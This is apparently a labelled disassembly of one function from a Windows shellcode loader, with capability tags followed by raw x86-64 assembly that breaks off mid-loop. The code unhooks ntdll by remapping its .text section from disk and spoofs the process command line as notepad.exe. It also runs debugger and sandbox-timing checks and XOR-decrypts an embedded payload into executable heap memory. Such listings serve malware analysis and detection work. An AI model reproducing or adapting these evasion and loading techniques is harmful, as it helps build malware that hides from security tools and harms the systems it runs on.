Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8a8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x850], ecx
mov qword [rbp + 0x858], rdx
call fcn.140002cd0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a8], rax
mov dword [rbp + 0x81c], 0xffffffff
add dword [rbp + 0x81c], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1b
add edx, eax
and edx, 0x1f
sub edx, eax
mov dword [rbp + 0x7a4], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005630]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x7a4]
movq xmm0, rax
call fcn.140003cc0
movq rax, xmm0
mov qword [rbp + 0x798], rax
cmp dword [rbp + 0x81c], 0x3c2
jle 0x1400014b3
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x790], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x810], rax
cmp qword [rbp + 0x810], 0
jne 0x1400015a0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x810], rax
cmp qword [rbp + 0x810], 0
je 0x140001864
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
mov rax, qword [rbp + 0x790]
mov r10, qword [rbp + 0x810]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov qword [rbp + 0x800], 0
mov dword [rbp + 0x80c], 0x24e
jmp 0x14000160b
mov eax, dword [rbp + 0x80c]
cdqe
add qword [rbp + 0x800], rax
sub dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0
jg 0x1400015f5
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x788], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x788]
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x788]
add rax, rdx
mov qword [rbp + 0x760], rax
mov word [rbp + 0x7fe], 0
jmp 0x14000184c
mov rax, qword [rbp + 0x760]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x760]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7fe]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000183b
mov dword [rbp + 0x588], 0
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x788]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x770]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x788]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x588]
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x788]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7fe]
add eax, 1
mov word [rbp + 0x7fe], ax
mov rax, qword [rbp + 0x760]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7fe], ax
jb 0x140001710
mov dword [rbp + 0x58c], 0
mov rax, qword [rbp + 0x7b0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
lea rax, [rbp + 0x58c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x750]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x598]
add rax, 0x3c
mov qword [rbp + 0x748], rax
mov ecx, 0xa90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x7f8], 0
jmp 0x140001942
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005630]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x740]
add rax, rdx
movsd xmm1, qword [0x140005638]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x151
jle 0x1400018f4
mov dword [rbp + 0x7f8], 0
jmp 0x1400019ac
mov eax, dword [rbp + 0x7f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x740]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x740]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x151
jle 0x14000195a
mov rax, qword [rbp + 0x748]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x748]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov ecx, 0
call rax
mov dword [rbp + 0x734], eax
cmp dword [rbp + 0x734], 0xffffffff
je 0x140002c0f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov ecx, 0
call rax
mov dword [rbp + 0x724], eax
cmp dword [rbp + 0x724], 0xffffffff
je 0x140002c0f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
jne 0x140002c0f
mov dword [rbp + 0x584], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x584]
mov r8, qword [rbp + 0x708]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x584]
cmp eax, 1
je 0x140002c0f
mov dword [rbp + 0x704], 0x315
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
call rax
mov dword [rbp + 0x6ec], eax
mov eax, dword [rbp + 0x704]
mov r8, qword [rbp + 0x6f8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6f0]
call rax
mov dword [rbp + 0x6e8], eax
mov eax, dword [rbp + 0x6e8]
sub eax, dword [rbp + 0x6ec]
cmp eax, 0x2e3
jbe 0x140002c0f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov ecx, 0
call rax
mov dword [rbp + 0x6dc], eax
cmp dword [rbp + 0x6dc], 0xffffffff
je 0x140002c0f
mov dword [rbp + 0x580], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x580]
mov r8, qword [rbp + 0x6d0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x580]
cmp eax, 1
je 0x140002c0f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov ecx, 0
call rax
mov dword [rbp + 0x6c4], eax
cmp dword [rbp + 0x6c4], 0xffffffff
je 0x140002c0f
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0
jne 0x140002c0f
mov dword [rbp + 0x6b4], 0x2c0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
call rax
mov dword [rbp + 0x6a4], eax
mov eax, dword [rbp + 0x6b4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6a8]
call rax
mov dword [rbp + 0x6a0], eax
mov eax, dword [rbp + 0x6a0]
sub eax, dword [rbp + 0x6a4]
cmp eax, 0x28e
jbe 0x140002c0f
lea rax, [rbp + 0x80]
lea rdx, [0x140005130]
mov ecx, 0x9f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov ecx, 0x360
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x7f4], 0
jmp 0x140001e57
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7f4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0xd7
jle 0x140001e0a
mov dword [rbp + 0x7f4], 0
jmp 0x140001f6f
mov dword [rbp + 0x5e4], 0
jmp 0x140001f51
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x5e4]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140001f4a
mov eax, dword [rbp + 0x5e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x5e0], eax
mov eax, dword [rbp + 0x7f4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, dword [rbp + 0x5e4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x5e4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rdx, rax
mov eax, dword [rbp + 0x5e0]
mov dword [rdx], eax
add dword [rbp + 0x7f4], 1
mov eax, 0xd7
sub eax, dword [rbp + 0x7f4]
cmp dword [rbp + 0x5e4], eax
jl 0x140001e81
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0xd7
jle 0x140001e72
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x690]
mov r8d, 0
mov edx, 0x4fd
mov ecx, 0x40000
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
mov r9, qword [rbp + 0x688]
mov r8d, 0x4fd
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
lea rdx, [rbp + 0x80]
mov rax, qword [rbp + 0x678]
mov r9, qword [rbp + 0x670]
mov r8d, 0x4fd
mov rcx, rax
call r9
mov dword [rbp + 0x7ec], 0
mov dword [rbp + 0x7e8], 0
mov ecx, 0xed0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x7e4], 0
mov dword [rbp + 0x664], 1
mov dword [rbp + 0x7e0], 0
jmp 0x140002117
mov dword [rbp + 0x7dc], 0
jmp 0x140002107
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7e0]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x668]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7dc]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0xb
jle 0x1400020a9
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x4e
jle 0x14000209d
mov dword [rbp + 0x7e0], 0
jmp 0x14000218c
mov dword [rbp + 0x7dc], 0
jmp 0x14000217c
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x668]
add rdx, rax
mov eax, dword [rbp + 0x7dc]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002175
add dword [rbp + 0x7e4], 1
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0xb
jle 0x14000213c
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x4e
jle 0x140002130
cmp dword [rbp + 0x7e4], 0x1da
je 0x1400021ab
mov dword [rbp + 0x664], 0
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x3d0f63564e6d91ad
movabs rdx, 0x82c324e7c03567a8
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xcee2b2ad567e2d40
movabs rdx, 0x67e6e1976fad96ef
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xd69cc3d76cf41a6c
movabs rdx, 0x19da5c1efd652f00
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov word [rbp - 0x10], 0xa1
mov ecx, 0x2050
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov ecx, 0x2050
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov ecx, 0x2050
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x7d8], 0
jmp 0x14000232a
mov dword [rbp + 0x7d4], 0
jmp 0x140002316
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7d8]
cdqe
imul rcx, rax, 0xbc
mov rax, qword [rbp + 0x658]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7d4]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7d8]
cdqe
imul rcx, rax, 0xbc
mov rax, qword [rbp + 0x650]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7d4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x2e
jle 0x140002265
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x2b
jle 0x140002256
mov dword [rbp + 0x7d8], 0
jmp 0x1400023e3
mov dword [rbp + 0x7d4], 0
jmp 0x1400023cf
mov eax, dword [rbp + 0x7d8]
cdqe
imul rdx, rax, 0xbc
mov rax, qword [rbp + 0x658]
add rdx, rax
mov eax, dword [rbp + 0x7d4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7d8]
cdqe
imul rdx, rax, 0xbc
mov rax, qword [rbp + 0x650]
add rdx, rax
mov eax, dword [rbp + 0x7d4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7d8]
cdqe
imul rdx, rax, 0xbc
mov rax, qword [rbp + 0x648]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x7d4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x2e
jle 0x140002352
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x2b
jle 0x140002346
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x94c64a3fd31ad45e
movabs rdx, 0x3327e22198d8bc5d
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xbf393b41f67b173
movabs rdx, 0x75e83f34dfd44ca7
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xaa3652e55aac7ed4
movabs rdx, 0xee4e2c751d9a800f
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x2bfcd70dee4e2c
mov qword [rbp + 0x6d], rax
mov dword [rbp + 0x7f0], 0
jmp 0x14000288a
mov eax, dword [rbp + 0x7f0]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x7ec]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7f0]
cdqe
mov byte [rbp + rax], dl
mov ecx, 0xc24
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x610], rax
mov dword [rbp + 0x7d0], 0
jmp 0x140002520
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x610]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x308
jle 0x1400024d3
mov dword [rbp + 0x7d0], 0
jmp 0x140002638
mov dword [rbp + 0x5ec], 0
jmp 0x14000261a
mov eax, dword [rbp + 0x7d0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x610]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x5ec]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x610]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140002613
mov eax, dword [rbp + 0x5ec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x610]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x5e8], eax
mov eax, dword [rbp + 0x7d0]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x610]
add rax, rdx
mov edx, dword [rbp + 0x5ec]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x610]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x5ec]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x610]
add rdx, rax
mov eax, dword [rbp + 0x5e8]
mov dword [rdx], eax
add dword [rbp + 0x7d0], 1
mov eax, 0x308
sub eax, dword [rbp + 0x7d0]
cmp dword [rbp + 0x5ec], eax
jl 0x14000254a
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x308
jle 0x14000253b
mov rax, qword [rbp + 0x610]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x7ec], 0x30
jne 0x14000266f
mov dword [rbp + 0x7ec], 0
jmp 0x140002883
add dword [rbp + 0x7ec], 1
mov dword [rbp + 0x60c], 0
mov ecx, 0x44e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
mov ecx, 0x44e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f8], rax
mov ecx, 0x44e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov dword [rbp + 0x7cc], 0
jmp 0x140002790
mov dword [rbp + 0x7c8], 0
jmp 0x14000277c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7cc]
cdqe
imul rcx, rax, 0x118
mov rax, qword [rbp + 0x600]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7c8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7cc]
cdqe
imul rcx, rax, 0x118
mov rax, qword [rbp + 0x5f8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7c8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0x45
jle 0x1400026d1
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x3e
jle 0x1400026c2
mov dword [rbp + 0x7cc], 0
jmp 0x140002849
mov dword [rbp + 0x7c8], 0
jmp 0x140002835
mov eax, dword [rbp + 0x7cc]
cdqe
imul rdx, rax, 0x118
mov rax, qword [rbp + 0x600]
add rdx, rax
mov eax, dword [rbp + 0x7c8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7cc]
cdqe
imul rdx, rax, 0x118
mov rax, qword [rbp + 0x5f8]
add rdx, rax
mov eax, dword [rbp + 0x7c8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7cc]
cdqe
imul rdx, rax, 0x118
mov rax, qword [rbp + 0x5f0]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x7c8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0x45
jle 0x1400027b8
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x3e
jle 0x1400027ac
mov rax, qword [rbp + 0x600]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x7f0], 1
mov eax, dword [rbp + 0x7f0]
cmp eax, 0x33
jbe 0x14000248e
mov dword [rbp + 0x7f0], 0
jmp 0x140002aaa
mov eax, dword [rbp + 0x7f0]
movsxd rdx, eax
mov rax, qword [rbp + 0x678]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7e8]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x7f0]
movsxd rdx, eax
mov rax, qword [rbp + 0x678]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov ecx, 0x8f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x7c4], 0
jmp 0x140002950
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7c4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x620]
